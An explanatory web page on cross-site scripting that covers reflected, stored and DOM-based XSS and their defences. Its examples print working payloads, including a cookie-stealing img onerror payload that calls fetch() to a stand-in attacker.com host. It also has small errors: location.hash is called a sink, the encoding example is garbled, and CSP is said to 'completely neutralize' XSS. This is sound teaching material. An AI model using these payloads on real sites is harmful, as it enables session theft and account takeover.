Cross-Site Scripting (XSS)
What is XSS?
Section titled “What is XSS?”Cross-Site Scripting (XSS) is a widespread vulnerability that occurs when a web application includes unvalidated and unescaped user-supplied data in an HTML page.
Unlike SQL Injection, where the victim is the server database, in an XSS attack, the victim is the user’s browser. The attacker successfully executes malicious JavaScript within the legitimate context of the vulnerable application.
The Impact of XSS
Section titled “The Impact of XSS”Because the script runs in the context of the vulnerable site, the attacker can:
- Steal session cookies or LocalStorage tokens (leading to account takeover).
- Perform actions on the user’s behalf (e.g., making a bank transfer, changing an email address).
- Extract sensitive data displayed on the page.
- Redirect the user to a malware-hosting site.
The Three Flavors of XSS
Section titled “The Three Flavors of XSS”1. Reflected XSS (Non-Persistent)
Section titled “1. Reflected XSS (Non-Persistent)”The malicious payload is delivered directly to the user, typically via a crafted URL or form submission. The server takes this input and immediately “reflects” it back into the HTML response without sanitization.
Example:
- A search page URL:
https://example.com/search?q=<script>alert(document.cookie)</script> - The server response includes:
<p>You searched for: <script>alert(document.cookie)</script></p>
2. Stored XSS (Persistent)
Section titled “2. Stored XSS (Persistent)”The attacker injects the payload directly into the application’s database (e.g., via a forum post, a user profile bio, or a product review). Every time a victim visits the affected page, the server retrieves the payload from the DB and serves it in the HTML, executing the script.
Example:
- An attacker saves their username as
<img src="x" onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">. - Every administrator who views the user list will inadvertently execute the script.
3. DOM-Based XSS
Section titled “3. DOM-Based XSS”This vulnerability occurs entirely in the client-side JavaScript. The server never sees or reflects the payload. Instead, the page’s legitimate JavaScript improperly reads data from a dangerous source (a “sink” like location.hash or window.name) and executes it.
Example:
- The page has script:
document.getElementById('greeting').innerHTML = "Welcome, " + window.location.hash.substring(1); - An attacker sends the link:
https://example.com/profile#<script>alert(1)</script>
Defense and Mitigation
Section titled “Defense and Mitigation”1. Context-Aware Output Encoding
Section titled “1. Context-Aware Output Encoding”The golden rule is to never trust user input. Before reflecting any data back to the user, ensure it is properly encoded for the specific context it appears in (HTML Body, JavaScript string, standard attribute, CSS). For instance, < becomes <.
2. Content Security Policy (CSP)
Section titled “2. Content Security Policy (CSP)”CSP is a defense-in-depth security header that allows site administrators to declare approved sources of content that the browser is allowed to load.
- A strong CSP completely neutralizes Reflected and Stored XSS by banning inline scripts (
<script>...</script>) and strictly whitelisting external domains.
3. Use Modern Frameworks
Section titled “3. Use Modern Frameworks”Frameworks like React, Vue, and Angular (which this site avoids in favor of Astro) natively prevent XSS by treating data as variables rather than executable HTML strings (e.g., React’s {variable} syntax). However, dangerous functions like dangerouslySetInnerHTML can still reintroduce the risk.